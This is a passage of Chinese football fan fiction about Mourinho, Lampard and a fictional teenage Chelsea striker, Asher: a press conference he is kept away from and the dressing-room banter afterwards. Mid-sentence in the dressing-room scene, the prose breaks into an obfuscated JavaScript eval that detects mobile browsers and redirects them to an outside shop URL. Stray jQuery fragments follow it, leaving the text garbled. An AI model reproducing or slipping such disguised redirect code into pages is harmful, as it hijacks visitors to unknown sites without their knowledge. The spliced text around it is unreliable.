全场比赛尘埃落定，切尔西以四球大胜收官欧冠小组赛，赛后发布会的焦点，几乎全部落在了最后替补登场、九分钟连轰两球的十八岁小将艾舍·瑞里安身上。
可门打开的那一刻，所有记者的期待都落空了。
没有艾舍。
“何塞，为什么你没有选择带瑞里安参加赛后发布会？”记者带着失望的情绪开门见山，“他首次欧冠出场就梅开二度，我们所有人都期待听他聊聊自己的感受。”
她捏紧了录音笔，继续补充道，“切尔西俱乐部和教练团队是否在冷落这个年轻人？”
空气当场微妙了起来。
台下的所有人停下来手上的一切工作，捏着笔尖、录音笔、摄像头的手全部绷紧，镜头锁定在了穆里尼奥脸上，期待着他能给出值得他们炒作一周的反应。
可惜葡萄牙人不急不躁，脊背微靠椅背，没有丝毫被问住的局促。
笑死，今天他又不是输球了，大胜之后他可不会负责替对方球队赛后逆转还有吸引火力。
再说，今天艾舍拿给他的表现，对于一个青年球员来说还有什么可以指摘的吗？
“首先，”穆里尼奥语速不疾不徐，透过麦克风传遍发布会大厅，“弗兰克·兰帕德是切尔西的副队长，他坐在这里不需要理由。”
“这是球队的秩序，也是教练组的选择，不需要对媒体解释。”
记者席一阵细碎的骚动，明显对于这个回答不满意。
但没人能反驳，穆里尼奥的话就像他布置的防守一样密不透风。
无冕之王们才不会善罢甘休！
“可外界不这么看，”另一个记者立刻接上，语气更加尖锐，“这可能是艾舍职业生涯最珍贵的一场爆发，年轻球员需要被看见、需要俱乐部的公开肯定，现在他缺席发布会，只会有人认为，切尔西并不重视青训，您怎么看？”
这是直接给切尔西扣上了“轻视青训，打压新星”的帽子，可现实就是现在切尔西俱乐部的年轻人并不好出头，老板阿布每年都会花上亿购买球星，主教练穆里尼奥也只对冠军奖杯负责。
在阿布带来的财力和压力之下，切尔西的阵容几乎没有容错空间，穆里尼奥的目标只有冠军，只有在例如今天这样无关成绩的小组赛，或者一些低级别杯赛才会换上替补阵容，主要目的也不是练兵，而是给主力球员一些休息。
穆里尼奥同样也认为，年轻人想要首发，必须具备和一线球星持平的实力，单纯潜力不足以挤占老将位置，反正阿布一时半会也破不了产，总能买来想要的球员，不能为了培养青训牺牲成绩。
但哪怕这是个无法反驳的问题，也没有俱乐部会愿意被扣上这顶帽子。
所有人都在等着穆里尼奥的回答。
兰帕德微微坐直身体，没有插话，只是安静地看着前方，等着主教练说话。几年的相处让他知道，他们的教练要应付这些场面可太轻而易举了。
穆里尼奥没有立刻回答，他微微侧过头，随后目光扫过全场，然后重新靠近话筒说到：“我不会用一场比赛定义一名球员，也不会用是否出席发布会衡量俱乐部对他的重视。”
他忽然朝前倾了倾身，将手肘撑在桌上说：“我用九分钟来定义。”
记者席安静了一瞬。
“他只上场了九分钟，就进了两个球，这就是我对他的全部评价。”
“你们说的那些是你们记者需要的东西，不是一个十八岁球员需要的，”穆里尼奥挑眉，“让艾舍好好享受更衣室的庆祝，就是我的重视。”
他补上最后一句，嘴角甚至带着一点若有若无的笑意，“如果你们想问他对首发的感受，可以等下次，我保证不会太久。”
话题终于从“为什么不让艾舍参加发布会”转向了比赛本身和魔力鸟居然许诺小将将会在不久后首发，发布会气氛缓和了几分。
不过不是因为记者们对艾舍不好奇了，是因为他们知道，穆里尼奥不想回答的提问，再问第三遍，也不会得到更好的结果了。
有记者把目光转向穆里尼奥身边一直安静坐着的兰帕德，问他如何看待这位年轻队友的首秀。
兰帕德看到记者们集体转移目标，心里咯噔一下，跟着Boss来发布会果然没好事发生。
他还是靠近话筒，带着回想笑着说：“说实话，我对艾舍的进球一点都不意外。”
“这几个月训练里，我们已经见识过无数次了，”兰帕德摊了摊手，“当第一次看他触球，只会觉得这孩子是不是来错了训练场——我当时在想科巴姆可不负责开展超龄儿童足球兴趣班。但等到第一次训练赛结束时，记分牌告诉我们，你没看错，艾舍他就是全场进球最多的那个。”
对于兰帕德的调侃，记者席传来几声附和轻笑。
兰帕德收了一点笑意，语气变得认真起来，为队友解释道：“我想说的是，赛前更衣室里就没有人把艾舍当成来凑数的，他训练里的每一脚射门，都在告诉所有人，他就是来进球的。”
他顿了顿，像是临时想到了什么，给艾舍补了一刀：“我记得今天第一次传给他的球被他停飞了。”
台下的笑声更大了。
“但下次有机会，我还会给他传球。”
二人又回答了一些无关紧要的问题，发布会终于圆满结束，谢天谢地今天没人问到有关阿布的问题。
对于兰帕德来讲，回答那个问题不比吃英国本土的特色菜更简单，选择老板还是主教练，折磨程度也丝毫不亚于选爸爸还是妈妈这个世纪难题。
而在发布会开场前，除了当事人穆里尼奥和艾舍，以及无辜路人兰帕德，恐怕没有人能想到发生了什么事。
一个小时前。
穆里尼奥原本准备带上今天有着超神发挥的艾舍，但他这几个月也不是没有和这位小将交流过，当然了解他有时的“出其不意”。
于是穆里尼奥把艾舍叫到一边，出于对年轻人的照顾，紧急开展了主帅亲授的发布会公关课。
“等会儿发布会上，新闻官会点我们的记者问你，第一次踢欧冠就进球是什么感受。”
艾舍认真地点了点头。
“你就说很开心、像做梦一样、感谢教练给机会——”穆里尼奥随口给了他几个标准答案，“记住了？”
艾舍又点头，表情认真得像是在记期末考点笔记。
穆里尼奥出于谨慎，追问了一句：“如果让你回答，你想说的是什么？”
艾舍想了两秒，用那种格外真诚的语气说：“我想说，射门时球门比我想象中要大一点，不过可能是我的心理作用，”艾舍嘴巴没停，继续说道，“也可能是因为索菲亚的门将比希拉里奥矮四厘米，我赛前查到过他们的资料。”
英足总罚款都不能使其闭嘴的穆里尼奥沉默了……
然而艾舍还在补充：“不过希拉里奥臂展不如他长，所以实际覆盖面积可能差不多——”
“行了，”穆里尼奥摆了摆手打断他，“你今天不用去发布会了。”
他又向被堵在两人身后，被迫听完全程的兰帕德招手。
兰帕德正在试图憋笑。
“弗兰克，快收拾一下，跟我去参加发布会。”
兰帕德立刻收回笑脸，抓起毛巾就往浴室跑去：“好的教练，我马上来。”
兰帕德冲澡的速度大概刷新了个人纪录，交代艾舍已经耽误了足够久的时间。
三分钟后，他已经换好衣服来到穆里尼奥身边，头发还在滴水。
后来发布会上的事，被记者们连炒好几天，直到他们得到了新的热点才被慢慢忘记，但发布会结束之后发生的事，只有切尔西更衣室里的人知道。
比如兰帕德回到更衣室的时候，艾舍正蹲在自己的位子前面，认真地往一个笔记本上写东西。
“弗兰克你回来了，”艾舍停下动作，抬头看到他的第一句话是，“发布会顺利吗？”
兰帕德想了想刚才发布会上自己说的那些话，决定不告诉艾舍自己当众调侃了他。
“非常顺利。”兰帕德说，说完又想起来问话的人，就是导致自己被抓去顶班，不得不面对一群记者挖坑的罪魁祸首，“你没去，所以很顺利。”
“那就好。”艾舍完全没听出言外之意，低头继续写。
兰帕德走过去的时候瞥了一眼那个笔记本，就是一个普通的、边角有点卷的笔记本。摊开的那一页上，艾舍正在写什么“预期进球值”和“门将出击反应时间对比”，本子上的折线图画得规规整整。
“你在写什么？”兰帕德换下球衣的时候顺嘴问道。
“今天的比赛复盘，”艾舍说着，笔没停，“我想趁还没忘，把两次进球的细节记下来，事实上我还在使用训练基地的系统做分析，那个更好用。”
兰帕德知道那个东西，他清楚几家英超俱乐部都花重金采购了的系统，不会是单纯为了吃回扣的产物，球队教练可以用系统总结的精准的数据修正球员的技术漏洞，补齐短板，他没想到艾舍也去借用了。
但他看了两眼那页关于对方门将的笔记，决定不问更多问题。
以艾舍对足球的认真程度，以后也许会去做教练？兰帕德有点难以想象艾舍站在替补席和Boss一样手舞足蹈、挥斥方遒的样子。
这时候门被推开了，特里走进来，身后跟着阿什利·科尔，两人原本在聊着场上某个角球的站位，但特里一眼就看见了蹲在地上的艾舍，蒋特里哪怕当上了队长，也永远嘴欠：
“哦——看看谁来了，欧冠首秀，九分钟两个球，我们这些踢满了全场，还没进球的老家伙是不是得反思一下了？”
“队长你是中后卫，”艾舍抬起头，认真地安慰他说，“你的防守已经做的够好了，我们也不在皇家马德里，你不需要用前插进球来证明自己。”
特里张了张嘴，转头看向阿什利·科尔，疑惑道：“他是在夸我吗？”
“他在给你做职业规划，”科尔用笑得颤抖的手拍了拍特里的肩膀，“习惯就好。”
笑声在更衣室里炸开，艾舍站在原地，不太确定自己说错了什么。
他说的都是事实——但他隐约记起来青年队的教练交代过，在更衣室不需要他把所有事实都讲出来。
于是艾舍干脆跟着大家笑了起来，少年的眼角弯了弯，眼睛里仿佛盛满了银河。
下次如果记得的话，他会听教练的话注意点的。
笑声还没落，德罗巴也走了进来，科特迪瓦人一边脱球衣一边低头看了眼这个小队友，然后用那种低沉的法语口音英语开口，语气不重：“第二个球，那个盘带。”
“我看不懂，”德罗巴说，“不过恭喜你进球了。”
“谢谢，”艾舍向他点了点头道谢，然后想了想，又补充了一句，“其实过第二个人的时候，我本来想传球的。”
德罗巴等着下文。
“但正好他们的后卫站位出现了漏洞，中间那个往前压了一步，边路那个往回收，中间就多出了一条缝。”艾舍回忆完，总结道：“那条缝刚好够我过去，于是我就过去了。”
德罗巴有些震惊地盯着他看了几秒，“所以你不是乱过的，你是看到了他们中间的空隙。”
“当然是看到了，”艾舍觉得这个问题有点奇怪，“不然我为什么会往那个方向跑？”
德罗巴张了张嘴又没讲话，他原以为这小子是乱蒙的。
“你们在聊他那两个进球？我看到第二个球过得对面后卫都快哭了！”米克尔从淋浴间探出半个湿漉漉的脑袋，“不过说真的，艾舍，你那个盘带姿势怎么练出来的？简直像刚学走路的人在追气球。”
“我小时候就是这么带球的，”艾舍说，“教练试
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739255|209070||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过纠正，但改了之后反而不会过人了，后来就不改了。”
“就这样？”米克尔显然不太信，“你就一直用这个姿势踢到现在，也没被哪个教练逼着改掉？”
艾舍和他解释道：“有一个教练和我说过，如果硬要改掉它，可能会让我变成另一个球员。”
“什么意思？”米克尔不解。
“就是——”艾舍想了想，似乎在找一个合适的说法，“我那个姿势虽然看起来不太对，但它让我能随时改变重心，如果强行改成标准姿势，可能反而过不了人了，至少教练是这么说的。”
米克尔愣愣地看着他，“这也是一个踢法？”
“当然，”艾舍的语气变得轻快了一点，“有时候当你以为是在改掉一个缺点，但其实你是在丢掉一个优点，这很像——”
“这说明你该去收拾东西了，”兰帕德从背后走过来，一只手按在艾舍肩膀上，力道精准地让他转回去面对自己的更衣柜。
“我还没说完——”
“收拾东西。”切尔西副队长镇压下了艾舍。
艾舍乖乖转身，但嘴巴没停，他一边往包里塞毛巾一边继续小声自言自语：“等我身体再长开一点，核心力量上来了，就可以开始对姿势进行调整再固定，那时候动作会更加流畅……”
他把笔记本塞进包里，拉上拉链，完全没注意到身后的米克尔正用一种困惑的眼神盯着他的后脑勺。
米克尔眨了眨眼睛，“所以你那个姿势不是永远的？”
“是的，不是完全没得改，”艾舍总结道，“只是还没到能改的时候。”
德罗巴看了兰帕德一眼，兰帕德回了他一个眼神，意思是：千万别问！不要问！问了他就没完没了了。
特里看着这一幕，凑到兰帕德身边，压低声音：“弗兰克，说真的，这孩子平时在更衣室也这样？”
兰帕德想了想，低声回道：“他上周看着角球区和我说，如果角球区从四分之一圆换成矩形，战术选择也许会更丰富。”
特里等了等后续故事发展，“没了？”
“没了。”兰帕德摊手。
“你没问他为什么在想这个？”特里实在有些搞不懂，现在的年轻人都在想什么。
“我不敢问，”兰帕德的表情非常严肃，“我怕他回头给我分析角球区大小形状与球队战术关系。”
特里沉默了，然后缓缓点头。
等艾舍终于把东西收拾好，这中间折回去拿了两次忘掉的东西，一次是手机，一次是那个笔记本，兰帕德招手把他叫到一边。
“刚才发布会的事，”兰帕德压低声音，确保只有他们两个人能听到。
“教练不让我去，”艾舍抬头看了一眼兰帕德，语气平静，眼神中没有委屈和抱怨，只是在叙述一个事实。
“对，你知道为什么吧？”兰帕德还是担心他多想，不过看来还是不用太担心他了。
“因为我想说球门比想象中大，还有对面门将比希拉里奥矮四厘米。”艾舍分析出了原因。
“还有臂展。”兰帕德帮他补充，想到了那幅场景还是有些好笑。
“对，还有臂展，”艾舍抬起一根手指，像是在说我有一个好主意，“不过其实我还想到了其它的。”
兰帕德的眼皮跳了一下，不太想接话，“……什么别的？”
“我在想，如果球门真的比我想象中大，那到底是球门变大了，还是我变小了。”艾舍认真地说，“后来我觉得应该是我变小了，因为球门不可能变大，国际足联有规定尺寸，而今天是在我们的主场比赛，切尔西不会违反规定。”
“所以是我有可能变小了，虽然科学上不太可能，但至少不违反规定。”
兰帕德面无表情地喝了一口水。
“真是一个伟大的科学发现。”兰帕德想了一会才靠高情商回复道，其实心里想的是：孩子又在说瞎话了。
“教练觉得不行，他可能是怕我在发布会上也这样说，”艾舍主动总结，“所以我没去成发布会。”
“……很好。”兰帕德拍了拍艾舍的头，金色的卷发很好揉，“下次如果有人问你首秀感受，你就说很开心，感谢教练给机会。不可以说球门大，不可以说对方门将矮，也不可以说你觉得自己变小了，明白吗？”
艾舍沉默了两秒，显然在录入这个规则，然后他开口了：“可以，但是弗兰克。”
兰帕德的手停在他脑袋上，这个“但是”后面准没跟好话。
“你有没有想过，如果一个人真的能变小，在足球场上会很有用？你可以从后卫腿中间跑过去，他们根本防不住你。”艾舍有些止不住自己的奇思妙想了。
“洗澡水是不是进你脑子里了，”兰帕德用没收回来的手拍了拍他的头，想帮艾舍给脑子里的水拍出来，“那你准备怎么踢到球，等跑过去再变回来吗。”
“我只是在假设——”艾舍狡辩道。
“艾舍。”
“嗯？”
“回家。”兰帕德干脆直接命令道。
“好的，弗兰克。”他就像被猫妈妈逮住后脖的小猫，终于安分了。
艾舍拎起自己的包，老老实实朝门口走去，走到一半又折回来——这次是忘了水壶。
兰帕德目送他的背影消失在门口，然后慢慢呼出一口气。
德罗巴不知什么时候走到了他身边，两个人并肩站着，一起看着空荡荡的门口。
“他居然不是瞎蒙的路线。”德罗巴说。
“他还和我说，角球区为什么不是矩形，”兰帕德继续补充，“还觉得可能是自己变小了呢。”
两个人沉默了一会儿。
“艾舍他能进球。”德罗巴最后说。
“他能进球。”兰帕德重复。
能进球就行了，孩子都考上大学了，剩下的，以后再说吧。